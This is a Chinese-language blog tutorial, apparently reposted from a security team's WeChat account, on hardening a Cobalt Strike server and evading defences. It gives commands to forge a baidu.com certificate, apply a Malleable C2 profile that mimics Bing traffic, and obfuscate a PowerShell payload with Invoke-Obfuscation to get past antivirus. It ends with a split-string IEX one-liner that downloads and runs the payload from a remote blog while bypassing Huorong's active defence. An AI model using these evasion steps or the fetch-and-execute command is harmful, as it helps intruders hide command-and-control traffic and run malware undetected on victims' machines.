Cobalt Strike加固+免杀

admin 2021年3月31日02:06:58评论10 views字数 3072阅读10分14秒阅读模式

前言:

现如今,随着国家的重视,安全已不是曾经拿啊D、明小子一把梭的时代,渗透环境愈发复杂,渗透与反渗透已变成常态,CS作为渗透利器,简单的安装使用已不能满足现在的需求,在此,Record一篇CS加固+免杀的章。从五个角度叙述如何对CS进行加固+免杀,让CS满足现在渗透的环境,五个角度分别为端口密码、证书、流量、免杀。这五个角度满足的需求分别是反渗透、Bypass流量审计、免杀过杀毒软件

目录:

0x00反渗透

0x01Bypass流量审计

0x02免杀过杀毒软件

0x00反渗透

在攻防演练的过程中,听说一些攻击者,被防守方直接拿下CS服务器,思路大概是这样,首先被蜜罐或安全设备获取攻击IP,然后通过默认端口和弱口令拿下CS服务器,为了避免这种情况,我们需要对自己的CS服务器做反渗透加固,这里主要说两点,端口和密码。

端口

默认CS端口为50050,我们需要对该端口进行修改,可通过vim teamserver来修改端口,在如下箭头处进行修改,这里我改为55555端口。

Cobalt Strike加固+免杀

 

密码

CS密码禁止使用弱口令,口令应满足一定的复杂度,如使用长度8位以上,包含字母、数字、特殊符号组成密码。

Cobalt Strike加固+免杀

 

0x01Bypass流量审计

说了CS的加固,那么也不要忘了CS的作用是什么,其为后渗透的工具。因为该款工具所使用的人太多,所以其流量则被各款流量审计所监控,其特征被也被相应记录,而各个厂商或多或少的都采购或自研流量审计,包括但不限于IPS、IDS、全流量、态势感知等,用于在大数据中匹配攻击行为。流量审计的广泛应用,导致原生CS已不适用现有环境,那么便需要做一些修改,修改分两点,证书和流量。

 

证书

CS存在默认证书,通过命令可查看,查看命令为

keytool -list -v -keystore cobaltstrike.store

如下为默认CS证书

Cobalt Strike加固+免杀

默认CS证书如上,存在明显特征,所以在这要用不包含特征的证书去替换,CS工具包下存在keytool工具,其为JAVA数据证书管理工具,通过命令可生成证书,生成命令如下

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=US, OU="baidu.com", O="Sofatest", L=Beijing, ST=Cyberspace, C=CN"

查看新生成的证书,如下

Cobalt Strike加固+免杀

流量

CS流量如之前所说,已被相应流量审计软件所监控,所以原CS已不适用现有攻防环境,那么是否就没办法了呢?并不是,CS开发团队早已想到了这一点,其存在配置文件,用来自定义客户端/服务端双向通信的流量格式以及软件相应配置,配置文件中的自定义客户端/服务端双向通信流量格式就可被我们用来绕过流量审计,如下http-get、http-post就是用来自定义数据格式的配置。

Cobalt Strike加固+免杀

 

Cobalt Strike加固+免杀

 

这里,有兴趣的可自行看看配置如何写,我这边就直接github上找了一份用,地址如下:

https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normal

用了一份伪造bing搜索引擎的C2-Profile

Cobalt Strike加固+免杀

C2-Profile下载后,使用命令如下

查看配置是否可用:./c2lint /root/cobaltstrike4.0/bing_maps.profile
启动配置./teamserver 服务器ip cs密码 /root/cobaltstrike4.0/bing_maps.profile

CS服务端加载C2配置后,本地运行http-beacon,wireshark抓取流量包,查看流量是否如自己设置那样,实验结果的确如配置所示。

Cobalt Strike加固+免杀

0x02免杀过杀毒软件

首先,简单聊聊自己对免杀思路的看法,随着时代的变换,攻与防都与时俱进,自己最早接触安全的时候,是灰鸽子、大白鲨,抓鸡拿服务器的时期,在那个时期,免杀的方法基本为加区、加花、加壳、改特征码、改资源、捆绑等,通过这些方法,就可绕过杀软的主被动防御。如今,杀软在升级,免杀方法也在升级,现在的免杀方法更多为分离、白加黑的思路,常规免杀方法为加载器、混淆编码等,有代码能力可自写,无的话网上也有很多现成的方法,拿加载器举例:shellcode_launcher就可用来免杀杀毒软件,尽管原有特征已被杀软记录,但通过源码免杀改改函数即可绕过杀软继续使用。

 

其次,聊一聊杀毒软件杀什么,杀毒软件到底是怎么识别某程序为病毒程序呢?用自己的话来说,杀软归根结底,识别的是程序特征,特征包含三个方面:文件特征、内存特征、行为特征。

 

知道了杀软杀什么,那么免杀,其实也就不是特别的难了,免杀,用自己的话来解释,就是改变程序特征且保持原有功能。改变程序特征是为了让杀毒软件不把程序识别为恶意,保持原有功能就更好理解了,若程序修改后无法运行,那么即使过了杀毒软件也是一件没有意义的事。

 

本文章免杀的方法为Powershell远程加载+Payload混淆,最后CS成功上线

复现步骤如下,首先CS生成Powershell脚本,该脚本,不用说,肯定被杀软标记为恶意,所以要想绕过,我们需要改特征,改特征选用Invoke-Obfuscation,其为Powershell编码器,地址如下:

https://github.com/danielbohannon/Invoke-Obfuscation

下载后,使用方法为 导入 -> 设置免杀脚本路径 -> encoding编码 -> 选择编码方式 -> 设置编码后输出文件路径。

导入Import-Module .Invoke-Obfuscation.psd1; Invoke-Obfuscation
设置set scriptpath F:渗透必备免杀Invoke-Obfuscationpayload.ps1
编码encoding
选择编码方式1-8
设置编码后输出文件路径out F:渗透必备免杀Invoke-Obfuscationpayload1.ps1

这里使用火绒查杀一下编码后的文件,如下图,未发现安全风险。

Cobalt Strike加固+免杀

文件已免杀,后续就是Powershell执行了,这里有两种方法,

一:采用把文件下载到本地,powershell执行;

二:文件放到服务器,远程Powershell执行。

考虑到少交互的原则,第一步还需上传文件到本地,多了一步骤,故选用第二种方案。

 

这里把ps1传到个人博客做远程加载演示,上传后可访问

Cobalt Strike加固+免杀

 

下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过如下方式,绕过火绒该防护。

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://www.bywalks.com/payload1.ps1''))';$a3="$a1,$a2";IEX(-join $a3)"

 

可绕过火绒主动防御

Cobalt Strike加固+免杀

 

参考文章:

https://paper.seebug.org/1349/

https://cloud.tencent.com/developer/article/1759951

https://www.chabug.org/web/832.html

https://github.com/TideSec/BypassAntiVirus/

原文始发于微信公众号(开普勒安全团队):Cobalt Strike加固+免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月31日02:06:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobalt Strike加固+免杀https://cn-sec.com/archives/770452.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息